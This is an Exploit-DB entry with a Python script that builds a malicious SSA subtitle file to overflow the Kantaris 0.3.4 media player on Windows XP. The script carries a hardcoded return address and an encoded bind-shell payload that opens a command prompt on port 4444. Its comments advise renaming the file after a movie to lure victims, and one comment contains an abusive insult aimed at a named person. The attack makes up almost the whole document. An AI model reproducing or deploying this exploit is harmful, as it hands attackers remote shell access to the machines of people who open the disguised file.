Exploit-DB #5498
Description: Kantaris 0.3.4 - SSA Subtitle Local Buffer Overflow
Type: local
Platform: windows
Date: 2008-04-25
Author: j0rgan

Exploit:
#!/usr/bin/python
#
# Kantaris 0.3.4 Media Player Local Buffer Overflow [0day!]
#
# The following exploit will make a film.ssa file, 
# just rename the file with the name of your movie, and use your imagination

# to pwn! :)
# Shellcode is local bind shell, just telnet to port:4444 to get command prompt :)
#
# BIG thanks to muts <muts[at]offensive-security[dot]com> for helping
# and discovering a very interesting thing that we will publish soon

# 
# I piss on your Business Networks course Igor Radusinovic! Go to hell!
#
# Vulnerability discovered by Muris Kurgas a.k.a. j0rgan
# jorganwd [at] gmail [dot] com
# http://www.jorgan.users.cg.yu


import os

jmp = '\xCC\x59\xFB\x77' # Windows XP sp1 JMP ESP, u can change it...

# win32_bind -  EXITFUNC=seh LPORT=4444 Size=709 Encoder=PexAlphaNum
sc=("\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"

"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"

"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e"
"\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x46\x4b\x48"
"\x4e\x36\x46\x52\x46\x32\x4b\x38\x45\x54\x4e\x43\x4b\x48\x4e\x37"

"\x45\x50\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x44\x4a\x51\x4b\x38"
"\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x48"
"\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"

"\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x52\x4a\x32\x45\x57\x45\x4e\x4b\x48"
"\x4f\x35\x46\x42\x41\x30\x4b\x4e\x48\x36\x4b\x58\x4e\x50\x4b\x44"

"\x4b\x48\x4f\x45\x4e\x51\x41\x50\x4b\x4e\x43\x50\x4e\x52\x4b\x48"
"\x49\x38\x4e\x36\x46\x42\x4e\x51\x41\x46\x43\x4c\x41\x33\x4b\x4d"
"\x46\x56\x4b\x58\x43\x54\x42\x33\x4b\x48\x42\x34\x4e\x50\x4b\x38"

"\x42\x57\x4e\x31\x4d\x4a\x4b\x38\x42\x34\x4a\x50\x50\x35\x4a\x36"
"\x50\x48\x50\x54\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x56"
"\x43\x35\x48\x56\x4a\x56\x43\x53\x44\x53\x4a\x36\x47\x37\x43\x57"

"\x44\x33\x4f\x55\x46\x35\x4f\x4f\x42\x4d\x4a\x56\x4b\x4c\x4d\x4e"
"\x4e\x4f\x4b\x53\x42\x35\x4f\x4f\x48\x4d\x4f\x45\x49\x48\x45\x4e"
"\x48\x46\x41\x58\x4d\x4e\x4a\x50\x44\x30\x45\x55\x4c\x46\x44\x50"

"\x4f\x4f\x42\x4d\x4a\x56\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x55"
"\x4f\x4f\x48\x4d\x43\x45\x43\x45\x43\x55\x43\x55\x43\x45\x43\x34"
"\x43\x55\x43\x34\x43\x55\x4f\x4f\x42\x4d\x48\x46\x4a\x56\x41\x51"

"\x4e\x55\x48\x46\x43\x45\x49\x58\x41\x4e\x45\x49\x4a\x56\x46\x4a"
"\x4c\x51\x42\x47\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x56\x42\x31"
"\x41\x45\x45\x45\x4f\x4f\x42\x4d\x4a\x46\x46\x4a\x4d\x4a\x50\x52"

"\x49\x4e\x47\x35\x4f\x4f\x48\x4d\x43\x35\x45\x35\x4f\x4f\x42\x4d"
"\x4a\x36\x45\x4e\x49\x34\x48\x38\x49\x54\x47\x45\x4f\x4f\x48\x4d"
"\x42\x45\x46\x55\x46\x35\x45\x55\x4f\x4f\x42\x4d\x43\x59\x4a\x46"

"\x47\x4e\x49\x57\x48\x4c\x49\x47\x47\x35\x4f\x4f\x48\x4d\x45\x45"
"\x4f\x4f\x42\x4d\x48\x56\x4c\x46\x46\x56\x48\x46\x4a\x36\x43\x36"
"\x4d\x56\x49\x38\x45\x4e\x4c\x56\x42\x55\x49\x55\x49\x42\x4e\x4c"

"\x49\x58\x47\x4e\x4c\x36\x46\x54\x49\x58\x44\x4e\x41\x43\x42\x4c"
"\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x52\x50\x4f\x44\x54\x4e\x42"
"\x43\x49\x4d\x48\x4c\x47\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x46"

"\x44\x57\x50\x4f\x43\x4b\x48\x31\x4f\x4f\x45\x37\x46\x54\x4f\x4f"
"\x48\x4d\x4b\x55\x47\x55\x44\x45\x41\x55\x41\x55\x41\x35\x4c\x46"
"\x41\x30\x41\x35\x41\x55\x45\x55\x41\x35\x4f\x4f\x42\x4d\x4a\x46"

"\x4d\x4a\x49\x4d\x45\x30\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x36"
"\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x58\x47\x35\x4e\x4f"
"\x43\x48\x46\x4c\x46\x56\x4f\x4f\x48\x4d\x44\x35\x4f\x4f\x42\x4d"

"\x4a\x36\x42\x4f\x4c\x38\x46\x50\x4f\x35\x43\x55\x4f\x4f\x48\x4d"
"\x4f\x4f\x42\x4d\x5a")

bafer = '\x41' * 163868 + jmp + "\x90" * 32 + sc

fileHandle = open ( 'film.ssa', 'w' )

fileHandle.write ( '[Script Info]\n') 
fileHandle.write ( 'ScriptType: v4.00\n')
fileHandle.write ( 'Title: Kantaris 0.3.4 buffer-overflow\n')
fileHandle.write ( 'Collisions: Normal\n\n')

fileHandle.write ( '[V4 Styles]\n\n')
fileHandle.write ( '[Events]\n')

fileHandle.write ( 'Dialogue: '+ bafer)
fileHandle.close() 

# milw0rm.com [2008-04-25]